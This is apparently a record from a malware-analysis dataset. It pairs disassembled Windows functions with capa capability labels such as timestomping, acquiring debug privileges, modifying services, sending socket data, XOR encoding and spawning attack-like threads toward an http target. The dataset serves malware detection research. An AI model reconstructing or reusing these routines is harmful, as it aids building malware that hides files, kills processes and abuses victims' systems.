joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d8cf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp byte [ebp + 0x18], bl
push esi
push edi
je 0x40d8ee
push 0x1770
mov byte [0x4564e8], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4bc
mov byte [0x4564e8], 1
call fcn.0040fb14
push 7
mov edi, str.http:__
push edi
push dword [ebp + 8]
mov esi, eax
call fcn.004208c1
add esp, 0x10
test eax, eax
je 0x40d92c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40d936
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edi, [esi + 0x480]
push edi
lea ecx, [esi + 0x300]
push ecx
lea eax, [esi + 0x200]
push eax
push dword [ebp + 8]
call fcn.0040db6a
mov al, byte [ebp + 0x1c]
mov byte [esi + 0x495], al
mov eax, dword [ebp + 0x10]
add esp, 0x10
mov byte [esi + 0x494], 1
mov dword [esi + 0x4a4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp + 0xc]
mov dword [esi + 0x4a0], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x7f
lea eax, [esi + 0x400]
jg 0x40d9a4
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40d9b2
push 0x7f
push dword [ebp + 0xc]
push eax
call fcn.00420260
add esp, 0xc
lea eax, [esi + 0x200]
push eax
mov word [esi + 0x484], 2
call fcn.004121ce
mov dword [esi + 0x488], eax
xor eax, eax
mov ax, word [edi]
pop ecx
push eax
call dword [0x455bf0]
cmp dword [ebp + 0x24], 1
mov word [esi + 0x486], ax
mov al, byte [ebp + 0x20]
mov byte [esi + 0x496], al
lea eax, [esi + 0x498]
mov dword [esi + 0x4b8], ebx
mov dword [esi + 0x4b4], ebx
mov dword [esi + 0x4b0], ebx
mov dword [esi + 0x4ac], ebx
mov dword [esi + 0x4a8], ebx
mov byte [eax], bl
mov byte [esi + 0x497], bl
mov byte [esi + 0x499], bl
jne 0x40da2e
mov byte [eax], 1
mov byte [esi + 0x497], 1
jmp 0x40da41
cmp dword [ebp + 0x24], 2
je 0x40da25
cmp dword [ebp + 0x24], 3
jne 0x40da41
mov byte [esi + 0x499], 1
mov eax, dword [ebp + 0x28]
dec eax
je 0x40da6a
push 2
pop ecx
sub eax, ecx
je 0x40da62
dec eax
je 0x40da5a
or dword [esi + 0x49c], 0xffffffff
jmp 0x40da74
mov dword [esi + 0x49c], ecx
jmp 0x40da74
mov dword [esi + 0x49c], ebx
jmp 0x40da74
mov dword [esi + 0x49c], 0xfffffffe
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40d6b3
push ebx
push ebx
call edi
mov eax, dword [ebp + 0x14]
cmp eax, 1
jl 0x40dab5
mov dword [ebp + 0x18], eax
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40cde5
push ebx
push ebx
call edi
dec dword [ebp + 0x18]
jne 0x40da94
jmp 0x40dab2
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x14]
cmp dword [esi + 0x4b4], eax
jb 0x40daaa
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f28a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x108], bl
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], ebx
mov dword [edi], ebx
call fcn.0041213d
mov esi, eax
cmp esi, 9
pop ecx
jb 0x40f35a
lea eax, [esi - 8]
push esi
mov dword [edi], eax
call fcn.0040fb14
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
je 0x40f353
push ebx
lea ecx, [ebp - 4]
push ecx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp + 0xc]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x108]
add edx, 0xf3
push edx
push eax
call fcn.00411f79
push eax
push esi
push edi
call fcn.00418dcf
lea ebx, [esi + edi]
add esi, 0xfffffffc
push esi
push edi
call fcn.0040f26e
add esp, 0x1c
cmp dword [ebx - 4], eax
jne 0x40f353
mov eax, dword [ebx - 8]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, edi
jmp 0x40f35c
push edi
call fcn.0040fb5b
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f5df
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, 0x80
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call esi
push ebx
push edi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40f643
mov edi, dword [ebp + 0x10]
push 0
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push dword [ebp + 8]
call esi
cmp dword [ebp - 4], edi
jne 0x40f643
mov al, 1
jmp 0x40f645
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f64a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x10c], al
push 0x40
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0041293a
mov esi, dword [ebp + 0x10]
lea ebx, [esi + 8]
push ebx
mov dword [ebp - 8], eax
call fcn.0040fb14
push esi
push dword [ebp + 0xc]
mov edi, eax
push edi
call fcn.0041fd50
push 4
lea ecx, [ebp - 8]
lea eax, [edi + esi]
push ecx
push eax
mov dword [ebp + 0x10], eax
call fcn.0041fd50
add esi, 4
push esi
push edi
call fcn.0040f26e
mov dword [ebp - 4], eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
call fcn.0041fd50
movzx eax, byte [ebp + 8]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x210]
add edx, 0xf3
push edx
push eax
call fcn.00411f79
push eax
push ebx
push edi
call fcn.00418d33
add esp, 0x44
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.00412044
cmp byte [0x455cf0], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
pop ecx
je 0x40f7f5
push 0x455e00
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f5df
lea eax, [ebp - 0x10c]
push eax
push 0x26
call fcn.004128e6
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f5df
lea eax, [ebp - 0x10c]
push eax
push 0x1c
call fcn.004128e6
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f5df
add esp, 0xc
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x4283c8
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f5df
add esp, 0xc
push 0x455f08
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f5df
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f5df
push edi
call fcn.0040fb5b
add esp, 0x10
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x41053b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x10
pop ecx
xor eax, eax
push 0x100
push eax
mov byte [ebp - 0x44], 0
lea edi, [ebp - 0x43]
push ebx
rep stosd dword es:[edi], eax
call fcn.00420090
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call fcn.00418e6b
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.00415acc
push 0x40
lea eax, [ebp - 0x44]
push eax
lea eax, [ebx + 0x20]
push eax
call fcn.0041fd50
add esp, 0x28
push 0x40
lea edi, [ebx + 0x60]
lea esi, [ebx + 0x5a]
pop ecx
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [eax + ebx + 0x9f]
xor cl, byte [eax + ebx]
inc eax
cmp eax, 0x20
mov byte [eax + ebx + 0x9f], cl
jl 0x410596
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x4105d4
mov al, byte [ecx + ebx + 0xbd]
xor al, byte [ecx + ebx]
inc ecx
cmp ecx, esi
mov byte [ecx + ebx + 0xbf], al
jl 0x4105be
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x410be2
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x119c
call fcn.00420220
push ebx
push esi
push edi
push 0x46
lea eax, [ebp - 0x70]
push eax
push str.ddd__dd_MMM_yyyy
xor ebx, ebx
push ebx
push ebx
mov esi, 0x409
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x1e
lea eax, [ebp - 0x28]
push eax
push str.HH:mm:ss
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x12c
lea eax, [ebp - 0x19c]
push eax
push 0x42dd58
call fcn.00411df4
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push eax
lea eax, [ebp - 0x119c]
push eax
call esi
mov eax, 0x444f92
add esp, 0x20
mov dword [ebp - 8], eax
mov edi, eax
mov dword [ebp - 4], 0x13
push 2
push dword [ebp + 0xc]
lea eax, [edi - 2]
push eax
call fcn.004208c1
add esp, 0xc
test eax, eax
jne 0x410c8e
mov dword [ebp - 8], edi
add edi, 0x80
dec dword [ebp - 4]
jne 0x410c76
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str._h1__s__h1__r_n_r_n
lea eax, [ebp - 0x119c]
push eax
call edi
lea eax, [ebp + eax - 0x119c]
push eax
call esi
add esp, 0xc
push ebx
lea eax, [ebp - 0x119c]
push eax
call edi
push eax
lea eax, [ebp - 0x119c]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41183c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
call fcn.00411707
xor ebx, ebx
mov esi, eax
xor eax, eax
cmp byte [ebp + 8], bl
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosw word es:[edi], ax
lea edi, [ebp - 4]
mov dword [ebp - 8], ebx
stosw word es:[edi], ax
je 0x4118b4
cmp esi, ebx
je 0x411886
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 8]
cmp eax, 0xdbba0
jae 0x411886
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov ax, word [esi + 4]
mov word [ebp - 4], ax
cmp byte [0x4564e2], bl
je 0x4118a0
mov eax, dword [0x4564d0]
mov dword [ebp - 0x10], eax
mov ax, word [0x456358]
mov word [ebp - 0xc], ax
cmp dword [ebp - 8], ebx
jne 0x4118ff
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov ax, word [esi + 4]
mov word [ebp - 4], ax
jmp 0x4118ff
cmp esi, ebx
je 0x4118d5
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 8]
cmp eax, 0x493e0
jae 0x4118d5
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov ax, word [esi + 4]
mov word [ebp - 4], ax
cmp byte [0x45638e], bl
je 0x4118ff
cmp dword [0x4563c0], ebx
je 0x4118ff
cmp byte [0x4564e2], bl
je 0x4118ff
mov eax, dword [0x4564d0]
mov dword [ebp - 0x10], eax
mov ax, word [0x456358]
mov word [ebp - 0xc], ax
cmp byte [ebp + 0xc], bl
jne 0x411909
cmp dword [ebp - 8], ebx
jne 0x411918
cmp dword [ebp - 0x10], ebx
je 0x411913
lea esi, [ebp - 0x10]
jmp 0x41191b
cmp dword [ebp - 8], ebx
je 0x411925
lea esi, [ebp - 8]
mov edi, dword [ebp + 0x10]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov al, 1
jmp 0x411927
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411a93
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4566a8]
mov ecx, dword [0x456380]
push ebx
xor ebx, ebx
cmp byte [ebp + 0xc], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x411abb
mov ecx, dword [0x456384]
xor edx, edx
inc edx
cmp byte [0x4564e2], bl
je 0x411ad1
cmp dword [0x4563c0], ebx
je 0x411ad1
mov dword [ebp - 4], edx
cmp ecx, ebx
je 0x411b97
cmp ecx, 0x1388
ja 0x411b97
jmp 0x411af7
cmp dword [ebp - 4], ecx
jae 0x411afb
cmp byte [eax + 6], bl
je 0x411af4
inc dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp eax, ebx
jne 0x411ae7
push edi
mov edi, dword [ebp - 4]
cmp edi, edx
jb 0x411b96
push esi
mov esi, dword [sym.imp.WS2_32.dll_send]
push ebx
push edx
push 0x4288bc
push dword [ebp + 8]
lea eax, [edi + edi*2]
shl eax, 1
mov dword [ebp - 0xc], eax
call esi
push ebx
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call esi
cmp byte [0x4564e2], bl
je 0x411b58
mov eax, dword [0x4564d0]
mov dword [ebp - 0x14], eax
mov ax, word [0x456358]
push ebx
mov word [ebp - 0x10], ax
push 6
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call esi
dec edi
mov dword [ebp - 4], edi
cmp edi, ebx
jbe 0x411b95
call fcn.00411707
mov edi, eax
jmp 0x411b91
cmp byte [edi + 6], bl
je 0x411b86
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov ax, word [edi + 4]
push ebx
mov word [ebp - 0x10], ax
push 6
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call esi
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
jae 0x411b95
mov edi, dword [edi + 0x10]
cmp edi, ebx
jne 0x411b65
pop esi
pop edi
pop ebx
leave
ret

Function at 0x412015
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, 0x455cb0
xor edi, edi
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test al, al
jbe 0x41203f
mov ecx, esi
movzx edx, al
movzx eax, byte [ecx]
mov esi, eax
imul esi, edi
xor esi, eax
inc ecx
dec edx
mov edi, esi
jne 0x41202f
mov eax, edi
pop edi
pop esi
ret

Function at 0x41213d
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push connect
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x412324
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push 0xf003f
push str.ServicesActive
xor ebx, ebx
push ebx
mov byte [ebp - 1], 1
call dword [0x455b58]
mov esi, eax
cmp esi, ebx
jne 0x41234d
xor al, al
jmp 0x4123a5
push edi
push 0xf01ff
push dword [ebp + 8]
push esi
call dword [0x455be8]
mov edi, eax
cmp edi, ebx
jne 0x412366
mov byte [ebp - 1], bl
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [0x455b84]
test eax, eax
jne 0x41237a
mov byte [ebp - 1], bl
cmp byte [ebp + 0xc], bl
je 0x412393
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
call dword [0x455ac4]
push esi
call dword [0x455ac4]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4123a9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x4123be
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201a8
pop ecx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov word [ebp - 0x28], 0x7d9
call fcn.004201b2
cdq
push 7
pop ecx
idiv ecx
mov word [ebp - 0x26], dx
call fcn.004201b2
push 0x12
cdq
pop ecx
idiv ecx
mov esi, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x22], dx
call esi
inc word [ebp - 0x26]
add word [ebp - 0x22], 2
call fcn.004201b2
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.004201b2
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.004201b2
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
call fcn.004201b2
cdq
push 2
pop ecx
idiv ecx
add word [ebp - 0x22], 3
add word [ebp - 0x26], dx
call fcn.004201b2
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.004201b2
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.004201b2
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4124de
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret
Function at 0x4124e1
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4124f9
xor al, al
pop esi
ret
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
setne al
pop esi
ret

Function at 0x412652
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
lea eax, [ebp - 0xc]
push eax
xor esi, esi
push 8
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x455bd8]
test eax, eax
jne 0x412683
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4127a7
push edi
lea eax, [ebp - 8]
push eax
push esi
push esi
xor edi, edi
inc edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x7a
je 0x4126ad
call esi
mov esi, eax
jmp 0x412790
push ebx
push dword [ebp - 8]
call fcn.0040fb14
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x412771
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 0x10
push eax
mov dword [ebp - 0x10], eax
call fcn.0040fb14
pop ecx
push 2
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x412771
push dword [ebx]
push 0x101fffff
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
test eax, eax
je 0x412771
push edi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push edi
push dword [ebp - 4]
lea eax, [ebp - 0x30]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push edi
push dword [ebx]
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push edi
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorGroup]
push edi
push 0
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call esi
test ebx, ebx
mov esi, eax
je 0x412780
push ebx
call fcn.0040fb5b
pop ecx
cmp dword [ebp - 4], 0
pop ebx
je 0x412790
push dword [ebp - 4]
call fcn.0040fb5b
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x412f13
Capabilities:
Acquire debug privileges
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.00420220
push 1
push str.SeDebugPrivilege
mov byte [ebp - 1], 0
call fcn.00412569
test eax, eax
pop ecx
pop ecx
je 0x412f50
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x1114]
push eax
call dword [0x455b18]
test eax, eax
jne 0x412f54
xor eax, eax
leave
ret
mov eax, dword [ebp - 0xc]
shr eax, 2
je 0x413009
push esi
push edi
lea esi, [ebp - 0x1114]
mov dword [ebp - 8], eax
push str.unknown
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esi]
push 0
push 0x411
call dword [0x455a58]
mov edi, eax
test edi, edi
je 0x412fea
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push edi
call dword [0x455b70]
test eax, eax
je 0x412fe1
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x10]
push edi
call dword [0x4559f0]
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x412fe1
push eax
push edi
call dword [0x455a98]
test eax, eax
je 0x412fe1
mov byte [ebp - 1], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x412ffb
cmp dword [esi], 0
jbe 0x412ffb
push esi
push 0x405424
call dword [sym.imp.USER32.dll_EnumWindows]
add esi, 4
dec dword [ebp - 8]
jne 0x412f6b
pop edi
pop esi
movzx eax, byte [ebp - 1]
leave
ret